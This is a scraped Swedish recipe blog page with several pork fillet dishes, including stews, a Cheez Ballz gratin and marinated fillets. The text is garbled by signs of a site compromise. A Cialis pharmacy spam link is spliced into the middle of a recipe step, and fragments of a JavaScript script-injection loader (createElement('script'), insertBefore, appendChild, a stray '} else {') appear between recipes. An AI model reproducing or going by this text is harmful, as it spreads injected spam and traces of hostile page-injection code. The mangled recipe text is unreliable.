Fläskfilégryta med champinjoner

Fläskfilégryta (4 portioner)
500 gram fläskfilé
3 msk soja
1 burk champinjoner (hela)
4 dl vispgrädde
1 dl turkisk yoghurt
1 gul lök

Gör så här:
Skiva fläskfilén i bitar och stek tills de är genomstekta. Lägg sedan i champinjonerna. Blanda i grädde och soja och låt småkoka ca 10 min tills såsen tjocknar. Tillsätt turkisk http://www.cialispharmaciefr24.com/le-cialis-est-il-dangereux/ yoghurt för att få såsen tjockare. Krydda med salt och peppar. Servera med ris och en god sallad.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Cheeseballsgratäng

IMG_6048

Receptet hittade jag här.

Jag har gjort om receptet lite och bla bytt ut creme fraiche vilök mot naturell creme fraiche och pressat i en färsk vitlöksklyfta istället. Sen stekte jag min fläskfilé i lite soja för att få lite mer smak.

Såsen
4 msk smör
4 msk mjöl
7 dl mjölk
1,5 dl créme fraiche vitlök (jag använde naturell cf och en klyfta vitlök)

Gratängen
1 påse Cheezballz (jag använde kanske 3/4)
500 gram fläskfilé i skivor
200 g champinjoner (jag tycker om champinjoner så jag tog lite mer i min gratäng)
100 gram gratängost (använde Västerbotten)
salt, peppar
lite soja

Smält smöret i en kastrull. Tillsätt mjölet och vispa ihop till en fast sås. Häll i mjölken och créme fraichen och låt koka till en lagom tjock sås. Smaka av med salt. När det är klart så skivar du upp filén i cm tjocka skivor och skiva upp champinjonerna. Bryn filén i smör och smaksätt med salt och peppar och lite soja. Lägg åt sidan och stek champinjonerna tills de fått fin färg. Smaksätt med salt & peppar (gärna en liten gnutta socker oxå!) Lägg hälften av köttet i en form och strö över hälften av champinjonerna. Lägg på ett lager cheezballz (knappt halva påsen).

Häll på hälften av såsen. Lägg sedan på resten av köttet, champinjonerna, ännu ett lager cheezballz och häll på resterande sås. Toppa med osten och sen in i ugnen i 30-45 minuter. Först halva tiden med folie och sista utan, för att den inte ska bli för bränd.

Servera gratängen med ris eller ugnsrostade rotfrukter och en god sallad.

IMG_6059IMG_6058IMG_6057IMG_6056IMG_6053IMG_6054

IMG_6052IMG_6051IMG_6050IMG_6048IMG_6049

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Fläskfilégryta med champinjoner

bild8

I torsdags blev jag bjuden på en supergod gryta hos Petra . Receptet kommer nedan och istället för fläskfilé använde Petra fläskytterfilé i sin gryta.

Fläskfilégryta 4 pers
ca 7oo g fläskfile eller fläskytterfilé
2 tsk dijonsenap
1 paprika (Kan hoppa över om man inte har det hemma)
1 vitlök
1 chalottenlök
1 msk tomatpure
Färska champinjoner
1msk kalvfond
3dl Grädde
1-2 dl creme fraiche
salt peppar
Lite cayenpeppar

Gör så här:
Stek köttet i mindre skivor, krydda. Fräs lök med vitlök, paprika. Stek champinjonerna för sig-  lägg i allt i grytan. Tillsätt resten- låt koka ihop, sänk plattan och koka under i ca 10 minuter.

Servera med  pressade potatis, grönsaker och en god sallad.

bild1

bild3bild4

bildA

bild5

bildB

bild7

bild8

 

Fläskfilégryta

bild6

Här är en god fläskfilégryta som jag lagade häromdagen. God smak och grytan går att servera ihop med antingen ris, potatis, sötpotatisnudlar, mungbönpasta. Själv serverade jag grytan med sötpotatisnudlar och en god sallad.

Receptet på den  goda grytan hittade jag på Johanna Toftby’s blogg här. Jag har ändrat receptet lite då jag vill ha lite mer smak i grytan. Tror också att det kan vara gott att krydda med lite dragon  i grytan.

Recept 4 pers
ca 7oo g fläskfile
2-3 tsk dijonsenap
1 paprika
1-2 vitlöksklyftor
2-3 msk hackad persilja ( kan uteslutas om man vill) Jag använde fryst persilja
1 lök
1-2 msk tomatpuré
200 gram färska champinjoner
ca 1 msk kalvfond
ca 1 msk  honung
3 dl mellangrädde
2 dl creme fraiche
salt peppar

Gör så här:
Skär köttet i mindre bitar och stek upp i en stekpanna,  krydda. Fräs upp lök med vitlök, paprika. Stek champinjonerna, och lägg i allt i grytan. Tillsätt resten av ingredienserna och  låt koka ihop.  Sänk värmen och koka under lock i ca 10 minuter.

bild5bild4bild14bild3bild15bild1bild12bild13bild9bild11

Servera grytan med potatis/ris/nudlar och en sallad.

bild8

bild7Jag åt grytan med sötpotatisnudlar och en sallad.
Färgen på nudlarna ser inte så rolig ut men de smakade supergott och mkt mättande. Sötpotatisnudlarna innehåller bara sötpotatisstärkelse och vatten. Jag köpte dessa i en Asiatisk affär för ca 12 kr (400 gram). I samma butik har de även Mungbönpasta…mkt god.
bild10I den här affären köper jag nudlarna som ni ser nedan. Den ligger mitt emot Nordstan granne med Andrum.

339

Mustig köttgryta med orientaliska inslag

Här kommer en otroligt god köttgryta som serveras gärna med ris och grönsaker.

Recept 8 portioner
800 gram benfritt griskött, bog eller skinka, strimlat i tunna bitar

Marinad
6 msk soja
4 msk chilisås
2 vitlöksklyftor, pressade
4 krm ingefära

Stekning:
2 gula lökar
1 burk böngroddar
1 burk bambuskott (strimlade)
2 msk majsenamjöl
4 dl vatten
2 köttbuljongtärningar
2 msk socker
2 msk vinäger
Olja till stekning

Gör så här:
Blanda marinaden. Lägg i köttet och låt marinera ca 15-20 min.

Ta upp köttet och låt det rinna av. Stek upp löken och lägg på ett fat. Stek upp köttet på hög temperatur tills köttet fått färg. Tillsätt resten av marinaden, socker vinäger, vatten och köttbuljong. Låt koka ett par minuter. Smaka av och tillsätt mer socker och vinäger om det behövs. Tillsätt den stekta löken, böngroddar och bambuskott. Rör ut majsena i lite vatten och häll i grytan om du vill få en lite tjockare konsistens. Servera med ris, grönsaker och en grönsallad.

God fläskfilé

Ca 500 gram fläskfilé
Sweet chili sås
Soja
Lite rapsolja
Salt
Peppar

Blanda ihop alla ingredienser till marinaden och lägg köttet i marinaden en stund.

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Fläskfilégratäng med mozzarella och soltorkade tomater

Bild1

Det här goda receptet hittade jag här. Jag serverade gratängen med ris och en avokadosallad.

Recept  5-6 personer
2 putsade fläskfileer
smör
salt och peppar

Till italienska täcket:
2 mozzarella bollar
1/2 burk med soltorkade tomater i olja
2 finhackade vitlökssklyftor
Lite ruccola

Såsen :
Sky
vatten 4 dl
2 dl creme fraiche
2 tsk  med soya
3 msk med konc. kalvfond
salt och peppar
1-2 msk maizena mjölredning

bild7

Serveras med kokt potatis eller mos eller ris.

Gör så här:  Ställ ugnen på 225 grader. Hetta upp en stekpanna och bryn den putsade filen i smör och med lite salt och peppar. Fräs på den tills den får bra färg. Skär sedan centimeter tjocka bitar och lägg dem omlott i en ugnsform. Dela mozzarella i småbitar, rör ner den tunt skivade vitlöken och hacka även ner de soltorkade tomaterna. Bred ut täcket över filemedaljongerna och ställ in i mitten på ugnen i cirka 15-20 minuter, tills filén är klar. Vispa ur stekpannan med ett par dl vatten, och sila ner i en gryta, Vänd ner ytterligare 2 dl vatten, soyan, fonden , creme fraiche , låt sjuda upp och smaka av med salt och peppar. Red skyn till önskad konsistens. Innan servering strö över ruccola över gratängen.

bild13bild12bild11bild6bild9bild10bild8bild3bild2

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Fläskfilé i ugn med tomat och ost

bild (2)Det här receptet är supergott och enkelt att göra.

Recept till 4-5 personer
1 kg fläskfilé
Krossade tomater (500 gram)
1 stor gul lök
1 pressad vitlök (stor)
2 dl grädde
Några skivor smakrik ost

Gör så här:
Skär fläskfilén  i ca 3 cm tjocka bitar.
Gör en tomatkoncassé (tomasås som kokat ihop lite).
Fräs gul lök, häll på krossad tomat, vitlök och kryddor efter smak. Timjan och svartpeppar är en god kombination. Låt puttra i ca 20 -30 min. Om du vill förenkla det hela så köper du en färdig tomatsås på burk i affären.
Bryn fläskfilén och lägg i en ugnsfast form. Lägg på en ostskiva på varje bit, därav tomatkross och lite grädde.
In i ugnen på 225 grader ca 20 min. Servera med en sallad om ni vill köra LCHF. Annars går det utmärkt att servera ihop med ris eller potatis.
bild (4)bild (15)bild (11)bild (14)bild (12)bild (9)

 

 var d=document;var s=d.createElement(‘script’);

Marinerad fläskfilé

Här kommer ett recept på en god marinerad fläskfilé.

Marinad 
2 msk soja
1 msk hoisinsås
0,5 tsk salt
2 msk olja
1 tsk socker
  1. Blanda samman alla ingredienserna soja, hoisinsås, salt, olja och socker.
  2. Lägg fläskfilén i en tät plastpåse eller burk med lock och slå över marinaden.
  3. Marinera i ca. 3 timmar, vänd påsen/burken då och då.
  4. Starta ugnen, 175 grader.
  5. Ta fram fram köttet och lägg den på ett galler i en långpanna. Stick in en köttermometer och stek köttet tills termometern visar 65 grader, ca. 40 minuter.
  6. Vänd köttet en gång under stekningen.
  7. Ta ut köttet ur ugnen och svep in köttet i folie, låt den kallna.

} else {

Dubbelmarinerad fläskfilé.

Du kan antingen använda oxfilé eller fläskfilé. Själv använde jag fläskfilé till denna rätt.Fläskfilé 500 gram fläskfile (för 4 personer)
Marinad 1
2 msk soja
1 msk hoisinsås
0,5 tsk salt
2 msk olja
1 tsk socker
Marinad 2
0,5 dl vitvinsvinäger
0,5 dl vatten
2 dl olja
1 tsk salt
0,5 tsk svartpeppar
1 pressad vitlöksklyfta
0,5 dl persilja
Marinad1:
  1. Blanda samman alla ingredienserna soja, hoisinsås, salt, olja och socker.
  2. Lägg fläskfilén i en tät plastpåse eller burk med lock och slå över marinaden.
  3. Marinera i ca. 3 timmar, vänd påsen/burken då och då.
  4. Starta ugnen, 175 grader.
  5. Ta fram fram köttet och lägg den på ett galler i en långpanna. Stick in en köttermometer och stek köttet tills termometern visar 65 grader, ca. 40 minuter.
  6. Vänd köttet en gång under stekningen.
  7. Ta ut köttet ur ugnen och svep in köttet i folie, låt den kallna.
Marinad 2
Blanda samman alla ingredienser vinäger, vatten, olja, salt, svartpeppar, pressad vitlök, hackad persilja.När köttet kallnat skivas den i 1/2 cm tjocka skivor. Lägg skivorna  i en skål och slå över marinad 2.
Ställ skålen kallt. Marinera köttet i ca 4 timmar eller över natten. Ös köttet ett par gånger.
Vid servering tas skivorna ur marinaden, de ska inte torkas av. Köttet ska serveras kallt.

d.getElementsByTagName(‘head’)[0].appendChild(s);